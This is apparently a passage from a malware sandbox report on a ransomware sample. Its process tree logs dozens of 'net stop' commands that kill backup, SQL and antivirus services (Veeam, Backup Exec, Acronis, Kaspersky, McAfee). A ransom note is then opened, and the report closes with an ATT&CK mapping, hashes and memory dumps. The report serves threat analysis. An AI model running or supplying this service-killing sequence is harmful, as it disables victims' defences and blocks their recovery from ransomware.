C:\Windows\system32\net1 stop SDRSVC /y
3⤵
PID:2572

C:\Windows\SysWOW64\net.exe
"net.exe" stop KAVFS /y
2⤵
PID:2432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KAVFS /y
3⤵
PID:2384

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecDiveciMediaService /y
2⤵
PID:2196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
3⤵
PID:2492

C:\Windows\SysWOW64\net.exe
"net.exe" stop “Enterprise Client Service” /y
2⤵
PID:2288

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop “Enterprise Client Service” /y
3⤵
PID:2436

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:2532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:2484

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:2508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:2552

C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLWriter /y
2⤵
PID:2428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
3⤵
PID:2596

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
2⤵
PID:2364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
3⤵
PID:2592

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:2464

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:2216

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:2628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:2752

C:\Windows\SysWOW64\net.exe
"net.exe" stop KAVFSGT /y
2⤵
PID:2668

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
3⤵
PID:340

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$VEEAMSQL2012 /y
2⤵
PID:2720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
3⤵
PID:2612

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamBackupSvc /y
2⤵
PID:632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
3⤵
PID:2832

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
2⤵
PID:2544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y
3⤵
PID:2940

C:\Windows\SysWOW64\net.exe
"net.exe" stop kavfsslp /y
2⤵
PID:2648

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
3⤵
PID:2756

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamBrokerSvc /y
2⤵
PID:2800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
3⤵
PID:2952

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLFDLauncher$SQL_2008 /y
2⤵
PID:2696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
3⤵
PID:2964

C:\Windows\SysWOW64\net.exe
"net.exe" stop klnagent /y
2⤵
PID:2712

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop klnagent /y
3⤵
PID:3012

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
2⤵
PID:2804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y
3⤵
PID:3056

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:2924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:3064

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:2912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:1300

C:\Windows\SysWOW64\net.exe
"net.exe" stop macmnsvc /y
2⤵
PID:2988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
3⤵
PID:3000

C:\Windows\SysWOW64\net.exe
"net.exe" stop FA_Scheduler /y
2⤵
PID:3036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
3⤵
PID:1480

C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
2⤵
PID:2060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
3⤵
PID:2284

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamCatalogSvc /y
2⤵
PID:2820

C:\Windows\SysWOW64\net.exe
"net.exe" stop veeam /y
2⤵
PID:924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
3⤵
PID:2100

C:\Windows\SysWOW64\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:1216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:760

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:2740

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:1776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:2408

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamCloudSvc /y
2⤵
PID:1900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc /y
3⤵
PID:2096

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLServerADHelper /y
2⤵
PID:820

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
3⤵
PID:1420

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:2064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:2480

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLFDLauncher$TPS /y
2⤵
PID:2132

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
3⤵
PID:2176

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:2120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:2356

C:\Windows\SysWOW64\net.exe
"net.exe" stop MBAMService /y
2⤵
PID:2352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
3⤵
PID:552

C:\Windows\SysWOW64\net.exe
"net.exe" stop CASAD2DWebSvc /y
2⤵
PID:2180

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
3⤵
PID:2568

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLSERVER /y
2⤵
PID:2444

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
3⤵
PID:2436

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamDeploySvc /y
2⤵
PID:2376

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
3⤵
PID:2288

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQLFDLauncher$TPSAMA /y
2⤵
PID:2308

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y
3⤵
PID:2476

C:\Windows\SysWOW64\net.exe
"net.exe" stop masvc /y
2⤵
PID:2204

C:\Windows\SysWOW64\net.exe
"net.exe" stop McAfeeEngineService /y
2⤵
PID:2500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
3⤵
PID:2432

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:2472

C:\Windows\SysWOW64\notepad.exe
"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_RECOVER_YOUR_FILES.txt
2⤵
- Opens file in notepad (likely ransom note)
PID:756

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1574638822-678973302-1889668400-393187553101694083912106236-526502654-1968956048"
1⤵
PID:724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
1⤵
PID:2224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$TPS /y
1⤵
PID:2276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:2332

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-152313087-524461953-221038322-17994435161796700947-159225098017632518341528239206"
1⤵
PID:1276

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1328

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1291157416-766490135-1800998191-648022206-1518774215207721888816075907131079634238"
1⤵
PID:2460

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-605670825624460524-1243991113943958821452139248-969458767-700391843-815590665"
1⤵
PID:2860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
1⤵
PID:676

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "12401015221243370931890079352-1250857293-202201897211866762422641298-718604786"
1⤵
PID:2780

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1841742189-61982814510419964751705963519-1583788011159508207112684338631661603503"
1⤵
PID:2904

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-152587938-1953514819-562562777-19549963151027945358770653109104359411075909980"
1⤵
PID:2704

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1471774638-498299302-401193296288057077-1612651874789932025-578945798546475560"
1⤵
PID:2876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:2776

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "206167112956851309820443375691795358090202863090-179987914816402434222045148109"
1⤵
PID:2852

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "510307781633467569-697022658614856936-6932089587484998620104355491403295468"
1⤵
PID:2956

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "154822566-994290487134613480117674550301223325095-925956904-1254305915-2023947551"
1⤵
PID:576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop masvc /y
1⤵
PID:2324

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Winlogon Helper DLL

1

T1004

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

1

T1497

Modify Registry

3

T1112

Credential Access

Discovery

Query Registry

2

T1012

Virtualization/Sandbox Evasion

1

T1497

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\HOW_TO_RECOVER_YOUR_FILES.txt
MD5
f129dd9a68161dd7fb0036ddde9c6468

SHA1
a38d6d0bd09837268df95e48c65c0093cac329ca

SHA256
45f4e54e0d6871351ebdd4ae5669d8b7c4d755ed83839ef603363c8db7dc1b42

SHA512
a0f822726d34b1c66df1c12dc13e74d8beed060093f1924d0c8e19e5f58e879a0c4b1b0e9c9d7dbf42cdad3b0f9db930f3bcb60e1de76d52c08bef055bb85088

Download Submit
memory/268-7-0x0000000000000000-mapping.dmp

Download
memory/332-26-0x0000000000000000-mapping.dmp

Download
memory/472-13-0x0000000000000000-mapping.dmp

Download
memory/568-19-0x0000000000000000-mapping.dmp

Download
memory/568-48-0x0000000000000000-mapping.dmp

Download
memory/576-46-0x0000000000000000-mapping.dmp

Download
memory/616-39-0x0000000000000000-mapping.dmp

Download
memory/676-28-0x0000000000000000-mapping.dmp

Download
memory/724-25-0x0000000000000000-mapping.dmp

Download
memory/848-11-0x0000000000000000-mapping.dmp

Download
memory/952-34-0x0000000000000000-mapping.dmp

Download
memory/1032-31-0x0000000000000000-mapping.dmp

Download
memory/1064-12-0x0000000000000000-mapping.dmp

Download
memory/1100-45-0x0000000000000000-mapping.dmp

Download
memory/1104-16-0x0000000000000000-mapping.dmp

Download
memory/1108-18-0x0000000000000000-mapping.dmp

Download
memory/1120-50-0x0000000000000000-mapping.dmp

Download
memory/1180-10-0x0000000000000000-mapping.dmp

Download
memory/1220-14-0x0000000000000000-mapping.dmp

Download
memory/1264-43-0x0000000000000000-mapping.dmp

Download
memory/1264-15-0x0000000000000000-mapping.dmp

Download
memory/1276-38-0x0000000000000000-mapping.dmp

Download
memory/1328-49-0x0000000000000000-mapping.dmp

Download
memory/1328-37-0x0000000000000000-mapping.dmp

Download
memory/1328-109-0x000007FEFBDE1000-0x000007FEFBDE3000-memory.dmp

Filesize
8KB

Download
memory/1472-53-0x0000000000000000-mapping.dmp

Download
memory/1472-33-0x0000000000000000-mapping.dmp

Download
memory/1480-36-0x0000000000000000-mapping.dmp

Download
memory/1484-30-0x0000000000000000-mapping.dmp

Download
memory/1488-47-0x0000000000000000-mapping.dmp

Download
memory/1492-8-0x0000000000000000-mapping.dmp

Download
memory/1504-29-0x0000000000000000-mapping.dmp

Download
memory/1520-23-0x0000000000000000-mapping.dmp

Download
memory/1528-35-0x0000000000000000-mapping.dmp

Download
memory/1612-32-0x0000000000000000-mapping.dmp

Download
memory/1720-41-0x0000000000000000-mapping.dmp

Download
memory/1720-24-0x0000000000000000-mapping.dmp

Download
memory/1776-27-0x0000000000000000-mapping.dmp

Download
memory/1816-9-0x0000000000000000-mapping.dmp

Download
memory/1904-2-0x00000000766F1000-0x00000000766F3000-memory.dmp

Filesize
8KB

Download
memory/1904-40-0x0000000000BC0000-0x0000000000BD1000-memory.dmp

Filesize
68KB

Download
memory/1904-22-0x00000000050D0000-0x00000000050D1000-memory.dmp

Filesize
4KB

Download
memory/1904-5-0x0000000000F70000-0x0000000000F71000-memory.dmp

Filesize
4KB

Download
memory/1904-4-0x00000000741A0000-0x000000007488E000-memory.dmp

Filesize
6.9MB

Download
memory/1980-17-0x0000000000000000-mapping.dmp

Download
memory/2064-52-0x0000000000000000-mapping.dmp

Download
memory/2084-55-0x0000000000000000-mapping.dmp

Download
memory/2108-58-0x0000000000000000-mapping.dmp

Download
memory/2128-57-0x0000000000000000-mapping.dmp

Download
memory/2152-60-0x0000000000000000-mapping.dmp

Download
memory/2176-64-0x0000000000000000-mapping.dmp

Download
memory/2184-61-0x0000000000000000-mapping.dmp

Download
memory/2224-62-0x0000000000000000-mapping.dmp

Download
memory/2248-66-0x0000000000000000-mapping.dmp

Download
memory/2276-67-0x0000000000000000-mapping.dmp

Download
memory/2300-70-0x0000000000000000-mapping.dmp

Download
memory/2316-69-0x0000000000000000-mapping.dmp

Download
memory/2332-71-0x0000000000000000-mapping.dmp

Download
memory/2340-74-0x0000000000000000-mapping.dmp

Download
memory/2356-72-0x0000000000000000-mapping.dmp

Download
memory/2396-76-0x0000000000000000-mapping.dmp

Download
memory/2424-78-0x0000000000000000-mapping.dmp

Download
memory/2452-79-0x0000000000000000-mapping.dmp

Download
memory/2460-81-0x0000000000000000-mapping.dmp

Download
memory/2492-82-0x0000000000000000-mapping.dmp

Download
memory/2504-83-0x0000000000000000-mapping.dmp

Download
memory/2520-85-0x0000000000000000-mapping.dmp

Download
memory/2544-88-0x0000000000000000-mapping.dmp

Download
memory/2568-87-0x0000000000000000-mapping.dmp

Download
memory/2592-89-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads